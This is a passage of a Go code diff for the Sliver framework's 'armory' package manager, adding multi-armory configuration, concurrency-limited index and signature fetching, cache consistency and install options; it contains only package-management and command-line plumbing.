tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
@@ -365,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.ArmoryName,
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
@@ -402,12 +590,19 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
// Try to get a max of 10 indexes at a time
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Enabled {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
|
||||
}
|
||||
return true
|
||||
})
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -420,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If an index has gone stale, remove it from the index cache
|
||||
indexCache.Delete(armoryConfig.PublicKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -463,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
func calculateHashesForIndex(index ArmoryIndex) []string {
|
||||
result := []string{}
|
||||
|
||||
for _, pkg := range index.Aliases {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for _, pkg := range index.Extensions {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func makePackageCacheConsistent(index ArmoryIndex) {
|
||||
packagesToRemove := []string{}
|
||||
|
||||
// Get the packages for the armory out of the cache
|
||||
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
|
||||
indexHashesForArmory := calculateHashesForIndex(index)
|
||||
|
||||
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
|
||||
// Then there are packages in the cache that do not exist in the armory
|
||||
if len(indexHashesForArmory) == 0 {
|
||||
packagesToRemove = cacheHashesForArmory
|
||||
} else {
|
||||
for _, packageHash := range indexHashesForArmory {
|
||||
if !slices.Contains(cacheHashesForArmory, packageHash) {
|
||||
packagesToRemove = append(packagesToRemove, packageHash)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// The remaining case of there being packages in the armory that do not exist in the cache
|
||||
// will have to be solved with fetchPackageSignatures, and that function calls this one
|
||||
// after fetching signatures and storing them in the cache, so that case should not apply
|
||||
|
||||
for _, packageHash := range packagesToRemove {
|
||||
pkgCache.Delete(packageHash)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Be kind to armories and limit concurrent requests to 10
|
||||
// This is an arbritrary number and we may have to tweak it if it causes problems
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// If packages were deleted from the index, make sure the cache is consistent
|
||||
makePackageCacheConsistent(index)
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If a package has gone stale, remove it from the package cache
|
||||
pkgCache.Delete(armoryPkg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
ID: armoryPkg.ID,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
@@ -528,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func clearAllCaches() {
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
currentArmories.Delete(key)
|
||||
return true
|
||||
})
|
||||
indexCache.Range(func(key, value any) bool {
|
||||
indexCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
pkgCache.Range(func(key, value any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func getArmoryPublicKey(armoryName string) string {
|
||||
// Find PK for the armory name
|
||||
armoryPK := ""
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Name == armoryName {
|
||||
armoryPK = armoryEntry.PublicKey
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return armoryPK
|
||||
}
|
||||
@@ -42,6 +42,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
|
||||
f.StringP("armory", "a", "", "name of armory to install package from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryInstallCmd)
|
||||
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
|
||||
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
|
||||
@@ -49,12 +53,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
armoryUpdateCmd := &cobra.Command{
|
||||
Use: consts.UpdateStr,
|
||||
Short: "Update installed an aliases and extensions",
|
||||
Short: "Update installed aliases and extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryUpdateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("armory", "a", "", "name of armory to get updates from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryUpdateCmd)
|
||||
|
||||
armorySearchCmd := &cobra.Command{
|
||||
@@ -69,5 +76,136 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
armoryCmd.AddCommand(armorySearchCmd)
|
||||
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
|
||||
|
||||
armoryInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "View configured armories or details about a specific armory or package",
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInfoCommand(cmd, con, args)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryInfoCmd)
|
||||
carapace.Gen(armoryInfoCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("armory or package name"),
|
||||
)
|
||||
|
||||
armoryAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a new armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AddArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("url", "u", "", "The URL of the armory index (required)")
|
||||
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
|
||||
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
|
||||
})
|
||||
armoryAddCmd.MarkFlagRequired("url")
|
||||
armoryAddCmd.MarkFlagRequired("pubkey")
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryAddCmd)
|
||||
|
||||
armoryRemoveCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RemoveArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryRemoveCmd)
|
||||
|
||||
armorySaveCmd := &cobra.Command{
|
||||
Use: consts.SaveStr,
|
||||
Short: "Save the armory configuration to disk",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SaveArmories(con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armorySaveCmd)
|
||||
|
||||
armoryEnableCmd := &cobra.Command{
|
||||
Use: consts.EnableStr,
|
||||
Short: "Enable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, true)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryEnableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryEnableCmd)
|
||||
|
||||
armoryDisableCmd := &cobra.Command{
|
||||
Use: consts.DisableStr,
|
||||
Short: "Disable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, false)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryDisableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryDisableCmd)
|
||||
|
||||
armoryModifyCmd := &cobra.Command{
|
||||
Use: consts.ModifyStr,
|
||||
Short: "Modify an armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ModifyArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "new name for the armory")
|
||||
f.StringP("pubkey", "k", "", "new public key for the armory")
|
||||
f.StringP("url", "u", "", "new URL for the armory")
|
||||
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
|
||||
})
|
||||
carapace.Gen(armoryModifyCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryModifyCmd)
|
||||
|
||||
armoryRefreshCmd := &cobra.Command{
|
||||
Use: consts.RefreshStr,
|
||||
Short: "Refresh armory indexes",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RefreshArmories(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryRefreshCmd)
|
||||
|
||||
armoryResetCmd := &cobra.Command{
|
||||
Use: consts.ResetStr,
|
||||
Short: "Reset armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ResetArmoryConfig(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryResetCmd)
|
||||
|
||||
return []*cobra.Command{armoryCmd}
|
||||
}
|
||||
@@ -19,122 +19,444 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
|
||||
|
||||
const (
|
||||
doNotInstallOption = "Do not install this package"
|
||||
doNotInstallPackageName = "do not install"
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
|
||||
return
|
||||
}
|
||||
if forceInstallation {
|
||||
promptToOverwrite = false
|
||||
} else {
|
||||
promptToOverwrite = true
|
||||
}
|
||||
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptToOverwrite = false
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
installList := []string{}
|
||||
pendingPackages := make(map[string]string)
|
||||
|
||||
for _, bundlePkgName := range bundle.Packages {
|
||||
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
|
||||
continue
|
||||
} else {
|
||||
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
for _, pkgID := range packageInstallList {
|
||||
if !slices.Contains(installList, pkgID) {
|
||||
installList = append(installList, pkgID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageID := range installList {
|
||||
packageEntry := packageCacheLookupByID(packageID)
|
||||
if packageEntry == nil {
|
||||
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
|
||||
return
|
||||
}
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
err := installAliasPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
func getInstalledPackageNames() []string {
|
||||
packageNames := []string{}
|
||||
|
||||
installedAliases := assets.GetInstalledAliasManifests()
|
||||
installedExtensions := assets.GetInstalledExtensionManifests()
|
||||
|
||||
for _, aliasFileName := range installedAliases {
|
||||
alias := &alias.AliasManifest{}
|
||||
manifestData, err := os.ReadFile(aliasFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
continue
|
||||
}
|
||||
err = json.Unmarshal(manifestData, alias)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, alias.CommandName) {
|
||||
packageNames = append(packageNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
|
||||
installAlias(alias, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
}
|
||||
for _, extensionFileName := range installedExtensions {
|
||||
extension := &extensions.ExtensionManifest{}
|
||||
manifestData, err := os.ReadFile(extensionFileName)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
}
|
||||
for _, extm := range extensions {
|
||||
for _, ext := range extm.ExtCommand {
|
||||
if ext.CommandName == name || name == "all" {
|
||||
installExtension(ext.Manifest, clientConfig, con)
|
||||
if name != "all" {
|
||||
return nil
|
||||
err = json.Unmarshal(manifestData, extension)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if len(extension.ExtCommand) == 0 {
|
||||
extensionOld := &extensions.ExtensionManifest_{}
|
||||
// Some extension manifests are using an older version
|
||||
// To maintain compatibility with those extensions, we will
|
||||
// re-unmarshal the data as the older version
|
||||
err = json.Unmarshal(manifestData, extensionOld)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, extensionOld.CommandName) {
|
||||
packageNames = append(packageNames, extensionOld.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range extension.ExtCommand {
|
||||
if !slices.Contains(packageNames, command.CommandName) {
|
||||
packageNames = append(packageNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if name == "all" {
|
||||
con.Printf("\n")
|
||||
con.PrintInfof("All packages installed\n")
|
||||
return nil
|
||||
}
|
||||
return ErrPackageNotFound
|
||||
|
||||
return packageNames
|
||||
}
|
||||
|
||||
func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
err := installAliasPackageByName(alias.CommandName, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
// This is a convenience function to get the names of the commands in the cache
|
||||
func getCommandsInCache() []string {
|
||||
commandNames := []string{}
|
||||
|
||||
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
var entry *pkgCacheEntry
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.Pkg.CommandName == name {
|
||||
entry = &cacheEntry
|
||||
return false
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
|
||||
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if !slices.Contains(commandNames, command.CommandName) {
|
||||
commandNames = append(commandNames, command.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packages
|
||||
}
|
||||
|
||||
func getPackageIDFromUser(name string, options map[string]string) string {
|
||||
selectedPackageKey := ""
|
||||
optionKeys := util.Keys(options)
|
||||
slices.Sort(optionKeys)
|
||||
// Add a cancel option
|
||||
optionKeys = append(optionKeys, doNotInstallOption)
|
||||
options[doNotInstallOption] = doNotInstallPackageName
|
||||
prompt := &survey.Select{
|
||||
Message: fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name),
|
||||
Options: optionKeys,
|
||||
}
|
||||
survey.AskOne(prompt, &selectedPackageKey)
|
||||
selectedPackageID := options[selectedPackageKey]
|
||||
|
||||
return selectedPackageID
|
||||
}
|
||||
|
||||
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
|
||||
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
|
||||
|
||||
if len(packagesWithCommand) > 1 {
|
||||
// Build an option map for the user to choose from (option -> pkgID)
|
||||
optionMap := make(map[string]string)
|
||||
for _, packageEntry := range packagesWithCommand {
|
||||
var optionName string
|
||||
